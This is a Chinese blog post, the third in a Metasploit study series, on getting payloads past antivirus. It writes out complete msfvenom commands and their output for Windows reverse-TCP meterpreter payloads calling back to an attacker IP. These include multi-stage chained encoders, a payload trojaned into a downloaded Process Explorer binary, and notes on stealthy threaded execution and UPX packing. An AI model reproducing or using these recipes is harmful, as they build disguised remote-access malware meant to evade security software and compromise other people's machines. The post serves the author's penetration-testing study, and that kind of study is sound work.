Metasploit学习记录(三)

上一章主要讲了后渗透阶段一些操作,其中涉及到了安装后门、文件上传,因此这一章主要讲的是面杀技术。

之前一直对面杀、加壳这种术语有一种大概的了解只知道经过处理之后能躲避杀软的特征码识别进而偷偷运行,学习完这一章有了更加深入的了解。

简介

目前杀软对于病毒以及恶意软件的识别主要通过特征码来进行的,杀毒引擎会加载特征码数据库对文件进行扫描、识别,这种处理方式的缺点也是显而易见的,首先市面上的恶意代码数量之大难以估计,特征码数据库第一个问题就是不全,然后就是会极大地拖慢机器的运行速度,so杀软才会有一个闲置扫描的选项:)

当然了,安全行业的从业人员智商都是相当的高的,通过特征码识别是其中一个手段,隐藏在杀软后面的检测逻辑我们就不得而知了,这里说一句题外话,由于杀软拖慢机器这样一个明显而又无法忍受的特点,所以我更加倾向于使用防火墙,和之前使用过的tf的软件,通过程序的行为来进行恶意程序的检测,毕竟,特征码千变万化但是恶意软件的行为相对就少很多了,这也是我十分看好AI在安全行业以后会大火的重要原因。

使用MSF攻击载荷生成器创建可独立运行的二进制文件

在上一章中,为了方便后续对于靶机的远程控制,我们简单创建过一个反向shell的二进制程序,老版的Metasploit使用msfpayload,新版的使用msfvenom,如下所示

1
2
3
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.33.129 LPORT=443 X > payload.exe
新版的metasploit已经将msfpayload合并到msfvenom,所以目前正确的写法是:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.14 LPORT=4443 -f exe -o payload.exe

这里类似,创建一个简单的反弹shell程序,回连到攻击机,并弹出一个命令行shell,这里使用windows/shell_rever_tcp生成exe文件,之后利用445端口连接靶机创建meterpreter回话之后上传文件,刚上传上去就被刚刚安装的360杀毒给识别出来了:(

躲避杀软的检测

避免被查杀的方法之一就是使用msf编码器(msfencode)对我们的攻击文件进行重新编码,msf编码器通过改变可执行文件中的代码形式让杀毒软件认不出他原来的样子,而程序功能则不会受到任何影响,这个步骤有点类似于电子邮件附件使用Base64进行重新编码,MSF编码器则是将原始的可执行程序重新编码,生成一个新的二进制文件,当这个文件运行后,MSF编码器会将原始程序解码到内存中并执行。(我理解这就是常说的加壳)

在旧版本中需要msfpayload生成之后通过管道给msfencode进行编码(我想这就是把他们两个合并成msfvenom的原因吧),例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.101 LPORT=31337 R | msfencode -e x86/shikata_ga_nai -t exe > /var/payload.exe
#目前来看最新的执行方式如下:
root@archlinux ~/metasploit # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.14 LPORT=4443 -f exe -o payload.exe -e x86/shikata_ga_nai -i 3
WARNING: Nokogiri was built against LibXML version 2.9.5, but has dynamically loaded 2.9.7
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai chosen with final size 414
Payload size: 414 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe
root@archlinux ~/metasploit # file payload.exe
payload.exe: PE32 executable (GUI) Intel 80386, for MS Windows

然而以上文件经过处理之后上传仍然被杀软识别并删除了 :(,这种情况下可以使用多重编码尝试绕过杀软,并且由于shikata_ga_nai的编码技术是堕胎的,每次生成的攻击载荷文件其实都是不一样的,而杀软如何识别恶意文件对于我们来说是一个谜,所以有时候会被识别并清除有时候则不会,我们可以多尝试几次。书中在执行了17次编码之后绕过了杀软。我这里则没有绕过。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
root@archlinux ~/metasploit # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.14 LPORT=4443 -f raw -e x86/shikata_ga_nai -i 3| msfvenom  --platform win -p - -a x86 -e x86/alpha_upper -i 2 -f raw | msfvenom  --platform win -p - -a x86 -e x86/countdown -i 5 -f exe -o payload_encode.exe
WARNING: Nokogiri was built against LibXML version 2.9.5, but has dynamically loaded 2.9.7
WARNING: Nokogiri was built against LibXML version 2.9.5, but has dynamically loaded 2.9.7
WARNING: Nokogiri was built against LibXML version 2.9.5, but has dynamically loaded 2.9.7
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai chosen with final size 414
Payload size: 414 bytes

Found 1 compatible encoders
Attempting to encode payload with 2 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 897 (iteration=0)
x86/alpha_upper succeeded with size 1862 (iteration=1)
x86/alpha_upper chosen with final size 1862
Payload size: 1862 bytes

Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/countdown
x86/countdown succeeded with size 16 (iteration=0)
x86/countdown succeeded with size 32 (iteration=1)
x86/countdown succeeded with size 48 (iteration=2)
x86/countdown succeeded with size 64 (iteration=3)
x86/countdown succeeded with size 80 (iteration=4)
x86/countdown chosen with final size 80
Payload size: 80 bytes
Final size of exe file: 73802 bytes
Saved as: payload_encode.exe

自定义可执行文件模板

编码器默认使用的exe文件模板为data/templates/template.exe,这个文件一般来说是各大杀软的重点关注对象,因此我们可以使用自己指定的文件来替换默认的模板文件,这里我们利用Process Explorer程序作为自定义的可执行程序模板。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
wget https://download.sysinternals.com/files/ProcessExplorer.zip
unzip ProcessExplorer.zip
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.14 LPORT=4443 -f raw | msfvenom -a x86 --platform win -p - -x procexp.exe -e x86/shikata_ga_nai -i 5 -f exe -o payload_proce.exe
WARNING: Nokogiri was built against LibXML version 2.9.5, but has dynamically loaded 2.9.7
WARNING: Nokogiri was built against LibXML version 2.9.5, but has dynamically loaded 2.9.7
Attempting to read payload from STDIN...
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes

Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai chosen with final size 468
Payload size: 468 bytes
Final size of exe file: 2724512 bytes
Saved as: payload_proce.exe

这一次文件上传之后并没有被杀软删除!然而过了两分钟还是被杀软检测出来删掉了。。。(可能是上传之后执行文件在进行反向shell链接的时候这个动作被检测出来,所以被删掉了,再之后上传就会立刻被删掉)同样还有个问题就是经过这样处理的文件执行之后并不会弹出来procexp本身的界面,这是有可能被被攻击者觉察出来的:)

隐秘的启动攻击载荷

经过以上处理的攻击载荷会破坏原有exe的功能,这个时候需要执行-k选项让攻击载荷在一个新的线程中运行。

需要注意的是不是所有的exe文件都支持-k选项,这个需要确认,同时如果打算使用这个选项,最好使用图形化面的应用程序,因为如果使用的是命令行窗口这个命令行窗口只有在攻击载荷运行完之后才会消失(应该是因为攻击载荷作为线程需要被回收导致的),而如果使用的是gui程序,即便是没有-k选项在执行的时候也不会有黑色弹窗提示。

加壳软件

加壳软件是一类能够对可执行文件进行加密压缩并将解压代码嵌入其中的工具,当加过壳的文件被执行后,解压代码会从已压缩的数据中重建原始程序并运行,这些过程对于用户来说是透明的,所以加壳后的程序可以替代原始程序进行使用,加壳后可执行文件更小,而功能与原来的文件一样。

同MSF编码器一样,夹克软件可以改变可执行文件的结构,然而MSF编码器会增加文件大小(上述使用-k选项后文件大小翻倍了),而加壳软件使用不同的算法以方便加密另一方面压缩,下面我们使用upx加壳对我们的payload进行编码和压缩尝试绕过杀软。

然而。。。使用upx加壳之后仍然被杀软检测出来了:(

总结

讲真,总算知道那些专门写加壳的人为什么在地下世界能够月入那么多万了。。。

转载请注明来源链接 http://just4fun.im/2017/12/02/Metasploit学习记录(三)/ 尊重知识,谢谢:)